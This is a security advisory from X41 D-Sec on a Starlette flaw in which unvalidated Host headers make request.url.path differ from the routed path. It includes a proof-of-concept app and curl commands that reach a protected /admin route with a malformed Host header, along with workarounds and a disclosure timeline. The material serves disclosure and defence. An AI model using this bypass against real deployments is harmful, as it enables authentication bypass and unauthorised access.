NEWS
X41 D-Sec GmbH Security Advisory: X41-2026-002
Request Host Header not Validated in Starlette
Severity Rating: High
Confirmed Affected Versions: starlette >= 0.8.3, < 1.0.1
Confirmed Patched Versions: starlette 1.0.1
Vendor: Starlette
Vendor URL: https://github.com/Kludex/starlette
Vector: Request Host Header not Validated
Credit: X41 D-Sec GmbH, JJ
Status: Public
CVE: To be assigned
GitHub ID: GHSA-86qp-5c8j-p5mr
CWE 436
CVSS Score: 7
CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Advisory URL: https://www.x41-dsec.de/lab/advisories/x41-2026-002-starlette/
Summary and Impact
Starlette reconstructs the requested URL based on the HTTP Host request header and requested path, but does not perform any validation of the Host header value. This allows attackers to inject paths into the host part, prepending the actual path. However, routing in Starlette is based on the actual request path. This inconsistent interpretation of HTTP requests may lead to issues such as authentication bypass when the authentication depends on the reconstructed URL’s path. Starlette is the foundation of the FastAPI Python framework.
Product Description
Starlette is a lightweight, high-performance ASGI (Asynchronous Server Gateway Interface) framework and toolkit used for building asynchronous web services in Python. It is known for its speed, simplicity, and for being the foundation of popular frameworks like FastAPI.
Analysis
When issuing an HTTP request for https://example.com/foo, clients extract the hostname example.com and the path /foo and issue the following request:
GET /foo HTTP/1.1
Host: example.com
Starlette reconstructs the client’s original URL based on f"{scheme}://{host_header}{path}", where {host_header} is the value of the Host request header and {path} is what was submitted in the first request line.
Starlette did not reject invalid characters in the Host header as per RFC 9112 Section 3.2, and a request such as:
GET /foo HTTP/1.1
Host: example.com/abc?bar=
would result in the URL http://example.com/abc?bar=/foo, which has a path of /abc while /foo was requested.
The routing algorithm of Starlette depends on the HTTP path, but the request.url.path attribute which is made available to middlewares and endpoints is based on the reconstructed URL. It is unexpected for users that request.url.path is different from the actual path requested over HTTP.
Using automated triage and analysis, X41 D-Sec has found several instances of middleware implementations in popular open source projects that rely on the request.url to apply security restrictions to certain paths.
These could be bypassed using a malformed host request header, similar to the PoC attached below, resulting in various security issues ranging from authentication bypass to SSRF and other issues that in some cases even lead to remote-code-execution on the affected system.
Proof of Concept
pip install starlette
from starlette.applications import Starlette
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.responses import PlainTextResponse
from starlette.routing import Route
class AuthMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request, call_next):
if request.url.path == "" or request.url.path == "/":
return await call_next(request)
return PlainTextResponse("Forbidden\n", status_code=403)
async def root(request):
return PlainTextResponse("Hello World\n")
async def admin(request):
return PlainTextResponse("secret=123\n")
routes = [
Route("/", endpoint=root),
Route("/admin", endpoint=admin),
]
app = Starlette(routes=routes, middleware=[Middleware(AuthMiddleware)])
Then, start the app using any of the ASGI servers:
pip install {daphne,hypercorn,uvicorn,granian}
daphne poc:app
hypercorn poc:app
uvicorn poc:app
granian --interface asgi poc:app
Confirm that the Host header is not validated:
curl -i -H 'Host: foo' localhost:8000/admin # 403 Forbidden
curl -i -H 'Host: foo?' localhost:8000/admin # 200 OK
Workarounds
- Avoid relying on the request path and instead implement features such as authentication based on the requested endpoint.
- Use
request.scope["path"]instead ofrequest.url.path. - Deploy a reverse proxy that rejects invalid Host headers, such as nginx or Apache HTTP Server, in front of the Python application
- Use an ASGI server that validates the host header according to the RFC spec
Timeline
2026-01-27 Issue identified during unrelated source code audit
2026-02-04 PoC created and vendor contacted. GHSA-86qp-5c8j-p5mr
2026-02-05 Vendor replied
2026-03-01 Patch proposed by the vendor
2026-05-21 Patch publicly released by the vendor
2026-05-22 Advisory released